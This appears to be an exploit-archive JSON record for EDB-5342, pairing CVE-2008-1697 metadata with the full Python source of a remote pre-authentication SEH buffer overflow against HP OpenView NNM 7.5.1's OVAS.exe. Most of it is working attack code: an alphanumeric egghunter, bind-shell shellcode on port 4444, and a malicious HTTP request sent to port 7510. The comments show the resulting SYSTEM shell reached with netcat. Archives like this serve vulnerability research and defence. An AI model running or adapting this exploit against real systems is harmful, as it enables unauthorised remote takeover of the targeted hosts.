{"exploit":{"id":"EDB-5342","name":"HP OpenView Network Node Manager (OV NNM) 7.5.1 - 'OVAS.exe' Overflow (SEH)","description":"HP OpenView Network Node Manager (OV NNM) 7.5.1 - 'OVAS.exe' Overflow (SEH)","cves":["CVE-2008-1697"],"author":"muts","published":"2008-04-02","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5342","path":"exploits/windows/remote/5342.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5342.py","vulnerabilities":[{"id":"CVE-2008-1697","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in ovwparser.dll in HP OpenView Network Node Manager (OV NNM) 7.53, 7.51, and earlier allows remote attackers to execute arbitrary code via a long URI in an HTTP request processed by ovas.exe, as demonstrated by a certain topology/homeBaseView request. NOTE: some of these details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-1697","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-1697"},"updatedAt":"2024-08-07T08:32:01.275Z","retrievedAt":"2026-11-27T03:07:28.675Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5342.png?v=2","url":"https://exploitbin.com/exploits/EDB-5342","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5342/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5342/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n################################################################################\n# HP OpenView NNM 7.5.1 OVAS.EXE Pre Authentication SEH Overflow\n# Tested on Windows 2003 Server SP1.\n# Coded by Mati Aharoni\n# muts..at..offensive-security.com\n# http://www.offensive-security.com/0day/hp-nnm-ov.py.txt\n# [shameless plug]\n# This vulnerability was found, analysed and exploited\n# as part of a training module in \"BackTrack to the Max\".\n# http://www.offensive-security.com/ilt.php\n# [/shameless plug]\n#################################################################################\n# bt 0day# python hp-nnm-ov.py\n# [*] HP NNM 7.5.1 OVAS.exe SEH PRE AUTH Overflow Exploit (0day)\n# [*] http://www.offensive-security.com\n# [*] Sending evil HTTP request to NNMz, ph33r\n# [*] Egghunter working ...\n# [*] Check payload results - may take up to a minute.\n# bt 0day# nc -v 192.168.1.111 4444\n# (muts) [192.168.1.111] 4444 (krb524) open\n# Microsoft Windows [Version 5.2.3790]\n# (C) Copyright 1985-2003 Microsoft Corp.\n#\n# C:\\>whoami\n# whoami\n# nt authority\\system\n#\n# C:\\>\n#\n################################################################################\n# Insane, \"We own all those registers, but how the heck do we get EIP\"  method.\n################################################################################\n# crash = \"T\"*1300\n#\n#################################################################################\n# Funky, \"Lets make the stack happy and pray for EIP\" overwrite method.\n#################################################################################\n# Case  1 - Stack not happy:\n# crash = \"T\"*989\n#\n# Case 2 - Stack happy, we own EIP - blessed by the angels above:\n# 0x44442638 - Happy NNM address\n# crash = \"T\"*941 +\"\\x38\\x26\\x44\\x44\"+\"\\x42\\x42\\x42\\x42\" +\"T\"*12 +\"\\x41\\x41\\x41\\x41\" + \"T\"*24+\":7510\"+\"\\x41\\x41\\x41\\x41\" + \"B\"*24+\":7510\"\n# 12 bytes of nasty strict alphanum shellcode possibility @EBP\n#\n################################################################################\n# Unknown \"wtf, these bytes are expanding\" SEH method:\n################################################################################\n# 0x6d356c6e - POP POP RET somewhere in NNM\n# crash = \"\\xeb\"*1100+\"A\"*9+\"\\x41\\x41\\x41\\x41\"+\"A\"*1900+\":7510\"\n#\n################################################################################\n# Final exploit crash SEH method:\n################################################################################\n# crash = \"\\xeb\"*1101 +\"\\x41\\x41\\x41\\x41\\x77\\x21\\x6e\\x6c\\x35\\x6d\" + \"G\"*32 + egghunter +\"A\"*100+\":7510\"\n#\n################################################################################\n\nimport socket\nimport os\nimport sys\n\nprint \"[*] HP NNM 7.5.1 OVAS.exe SEH Overflow Exploit (0day)\"\nprint \"[*] http://www.offensive-security.com\"\n\n# Alphanumeric egghunter shellcode + restricted chars \\x40\\x3f\\x3a\\x2f - ph33r\n# One egg to rule them all.\n\negghunter=(\n\"%JMNU%521*TX-1MUU-1KUU-5QUUP\\AA%J\"\n\"MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5\"\n\"21*-q!au-q!au-oGSePAA%JMNU%521*-D\"\n\"A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1\"\n\"z1E-oRHEPAA%JMNU%521*-3s1--331--^\"\n\"TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA\"\n\"A%JMNU%521*-R222-1111-nZJ2PAA%JMN\"\n\"U%521*-1-wD-1-wD-8$GwP\")\n\nalignstack=\"\\x90\"*34+\"\\x83\\xc4\\x03\"\n\n# win32_bind - EXITFUNC=thread LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com\n# Spawned shell dies quickly as a result of a parent thread killing it.\n# Best shellcodes are of the \"instant\" type, such as adduser, etc.\n\nbindshell=(\"T00WT00W\" + alignstack +\n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49\"\n\"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36\"\n\"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34\"\n\"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41\"\n\"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4c\\x56\\x4b\\x4e\"\n\"\\x4d\\x34\\x4a\\x4e\\x49\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x42\\x36\\x4b\\x48\"\n\"\\x4e\\x46\\x46\\x32\\x46\\x42\\x4b\\x48\\x45\\x54\\x4e\\x33\\x4b\\x38\\x4e\\x37\"\n\"\\x45\\x30\\x4a\\x37\\x41\\x30\\x4f\\x4e\\x4b\\x38\\x4f\\x54\\x4a\\x41\\x4b\\x48\"\n\"\\x4f\\x35\\x42\\x32\\x41\\x50\\x4b\\x4e\\x49\\x34\\x4b\\x58\\x46\\x43\\x4b\\x58\"\n\"\\x41\\x30\\x50\\x4e\\x41\\x33\\x42\\x4c\\x49\\x49\\x4e\\x4a\\x46\\x48\\x42\\x4c\"\n\"\\x46\\x47\\x47\\x50\\x41\\x4c\\x4c\\x4c\\x4d\\x30\\x41\\x30\\x44\\x4c\\x4b\\x4e\"\n\"\\x46\\x4f\\x4b\\x53\\x46\\x55\\x46\\x32\\x4a\\x32\\x45\\x37\\x45\\x4e\\x4b\\x48\"\n\"\\x4f\\x35\\x46\\x52\\x41\\x30\\x4b\\x4e\\x48\\x46\\x4b\\x58\\x4e\\x30\\x4b\\x54\"\n\"\\x4b\\x58\\x4f\\x35\\x4e\\x51\\x41\\x50\\x4b\\x4e\\x43\\x50\\x4e\\x32\\x4b\\x38\"\n\"\\x49\\x58\\x4e\\x46\\x46\\x52\\x4e\\x31\\x41\\x56\\x43\\x4c\\x41\\x53\\x4b\\x4d\"\n\"\\x46\\x46\\x4b\\x58\\x43\\x44\\x42\\x33\\x4b\\x38\\x42\\x54\\x4e\\x30\\x4b\\x48\"\n\"\\x42\\x47\\x4e\\x51\\x4d\\x4a\\x4b\\x48\\x42\\x34\\x4a\\x50\\x50\\x35\\x4a\\x36\"\n\"\\x50\\x38\\x50\\x54\\x50\\x50\\x4e\\x4e\\x42\\x35\\x4f\\x4f\\x48\\x4d\\x48\\x56\"\n\"\\x43\\x55\\x48\\x56\\x4a\\x46\\x43\\x53\\x44\\x43\\x4a\\x36\\x47\\x57\\x43\\x57\"\n\"\\x44\\x33\\x4f\\x35\\x46\\x55\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x4b\\x4c\\x4d\\x4e\"\n\"\\x4e\\x4f\\x4b\\x53\\x42\\x55\\x4f\\x4f\\x48\\x4d\\x4f\\x45\\x49\\x38\\x45\\x4e\"\n\"\\x48\\x56\\x41\\x38\\x4d\\x4e\\x4a\\x50\\x44\\x30\\x45\\x45\\x4c\\x46\\x44\\x30\"\n\"\\x4f\\x4f\\x42\\x4d\\x4a\\x46\\x49\\x4d\\x49\\x50\\x45\\x4f\\x4d\\x4a\\x47\\x55\"\n\"\\x4f\\x4f\\x48\\x4d\\x43\\x55\\x43\\x55\\x43\\x55\\x43\\x55\\x43\\x45\\x43\\x44\"\n\"\\x43\\x35\\x43\\x54\\x43\\x55\\x4f\\x4f\\x42\\x4d\\x48\\x36\\x4a\\x46\\x41\\x31\"\n\"\\x4e\\x55\\x48\\x46\\x43\\x55\\x49\\x58\\x41\\x4e\\x45\\x59\\x4a\\x56\\x46\\x4a\"\n\"\\x4c\\x51\\x42\\x37\\x47\\x4c\\x47\\x35\\x4f\\x4f\\x48\\x4d\\x4c\\x56\\x42\\x51\"\n\"\\x41\\x35\\x45\\x45\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x46\\x4a\\x4d\\x4a\\x50\\x32\"\n\"\\x49\\x4e\\x47\\x35\\x4f\\x4f\\x48\\x4d\\x43\\x35\\x45\\x35\\x4f\\x4f\\x42\\x4d\"\n\"\\x4a\\x56\\x45\\x4e\\x49\\x34\\x48\\x48\\x49\\x44\\x47\\x45\\x4f\\x4f\\x48\\x4d\"\n\"\\x42\\x55\\x46\\x55\\x46\\x35\\x45\\x45\\x4f\\x4f\\x42\\x4d\\x43\\x59\\x4a\\x46\"\n\"\\x47\\x4e\\x49\\x57\\x48\\x4c\\x49\\x37\\x47\\x55\\x4f\\x4f\\x48\\x4d\\x45\\x45\"\n\"\\x4f\\x4f\\x42\\x4d\\x48\\x56\\x4c\\x56\\x46\\x56\\x48\\x46\\x4a\\x46\\x43\\x56\"\n\"\\x4d\\x36\\x49\\x58\\x45\\x4e\\x4c\\x56\\x42\\x45\\x49\\x45\\x49\\x42\\x4e\\x4c\"\n\"\\x49\\x38\\x47\\x4e\\x4c\\x36\\x46\\x44\\x49\\x38\\x44\\x4e\\x41\\x33\\x42\\x4c\"\n\"\\x43\\x4f\\x4c\\x4a\\x50\\x4f\\x44\\x54\\x4d\\x52\\x50\\x4f\\x44\\x44\\x4e\\x32\"\n\"\\x43\\x39\\x4d\\x38\\x4c\\x37\\x4a\\x43\\x4b\\x4a\\x4b\\x4a\\x4b\\x4a\\x4a\\x46\"\n\"\\x44\\x57\\x50\\x4f\\x43\\x4b\\x48\\x41\\x4f\\x4f\\x45\\x57\\x46\\x44\\x4f\\x4f\"\n\"\\x48\\x4d\\x4b\\x35\\x47\\x45\\x44\\x55\\x41\\x55\\x41\\x55\\x41\\x35\\x4c\\x56\"\n\"\\x41\\x50\\x41\\x55\\x41\\x45\\x45\\x35\\x41\\x45\\x4f\\x4f\\x42\\x4d\\x4a\\x56\"\n\"\\x4d\\x4a\\x49\\x4d\\x45\\x30\\x50\\x4c\\x43\\x35\\x4f\\x4f\\x48\\x4d\\x4c\\x36\"\n\"\\x4f\\x4f\\x4f\\x4f\\x47\\x53\\x4f\\x4f\\x42\\x4d\\x4b\\x38\\x47\\x55\\x4e\\x4f\"\n\"\\x43\\x48\\x46\\x4c\\x46\\x56\\x4f\\x4f\\x48\\x4d\\x44\\x55\\x4f\\x4f\\x42\\x4d\"\n\"\\x4a\\x56\\x4f\\x4e\\x50\\x4c\\x42\\x4e\\x42\\x56\\x43\\x35\\x4f\\x4f\\x48\\x4d\"\n\"\\x4f\\x4f\\x42\\x4d\\x5a\")\n\n# 0x6d356c6e pop pot ret somehwere in NNM 7.5.1\n\nevilcrash = \"\\xeb\"*1101 + \"\\x41\\x41\\x41\\x41\\x77\\x21\\x6e\\x6c\\x35\\x6d\" + \"G\"*32 +egghunter + \"A\"*100 + \":7510\"\n\nbuffer=\"GET http://\" + evilcrash+ \"/topology/homeBaseView HTTP/1.1\\r\\n\"\nbuffer+=\"Content-Type: application/x-www-form-urlencoded\\r\\n\"\nbuffer+=\"User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\\r\\n\"\nbuffer+=\"Content-Length: 1048580\\r\\n\\r\\n\"\nbuffer+= bindshell\n\nprint \"[*] Sending evil HTTP request to NNMz, ph33r\"\nexpl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )\nexpl.connect((\"192.168.1.111\", 7510))\nexpl.send(buffer)\nexpl.close()\nprint \"[*] Egghunter working ...\"\nprint \"[*] Check payload results - may take up to a minute.\"\n\n# milw0rm.com [2008-04-02]","sha256":"d2b04e89d933befc23cc72ac69c2da6b91940aa4592f40e3798c1c7577242cc5","bytes":7193,"fetchedAt":"2026-11-27T03:07:28.439Z","encoding":"utf-8 (display only; download retains original bytes)"}